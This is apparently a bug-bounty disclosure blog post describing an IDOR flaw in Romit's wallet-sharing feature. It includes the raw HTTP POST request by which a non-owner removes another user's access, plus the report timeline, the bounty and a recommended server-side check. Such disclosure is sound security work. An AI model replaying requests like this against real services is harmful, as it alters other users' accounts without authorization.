Insecure Direct Object Reference is a common bug in web applications. It has without fail made to the OWASP - Top 10 vulnerabilites every time. The vulnerability exists when the application fails to verify if the user is properly authorized to access a certain endpoint/resource.
Romit has an open bug bounty program on hackerone.
Issue :
Romit has Operator Wallets, only
Owner has the permission to SHARE or UNSHARE the wallet with any user, but the application did not properly validates when someone tries to UNSHARE a wallet.POC:
- Suppose a wallet
BITCOINSis created by user A and shared with user B and C. - Althoug only UserA should be able to delete shares. User B can send the following request and delete User C as there are no server side verificationsPOST /dashboard/account/<accountId>/sharing/delete HTTP/1.1
Host: wallet.romit.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://wallet.romit.io/dashboard
Content-Length: 90
Cookie:
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
The solution to such attacks is very simple, the application should verify that the user deleting the share is actually admin of that wallet.
Bug Bounty:
Aug 1st : Reported
Sep 1st: Acknowleged
Sep 10th: Bounty awarded 250 USD
IDORs are simple to find vulnerabilites, whenver I start testing a webapp IDOR attacks are the first ones I look out for. These simple attacks can have varied impact depending on the vulnerable endpoint.
Read about IDOR on insider.in which compromised details of every single user (including email, card number, transaction id). Yes the impact can be critical.
Here is the link to a simple IDOR on facebook, that got $12,500 bounty award as the impact of the vulnerability was high.
No comments:
Post a Comment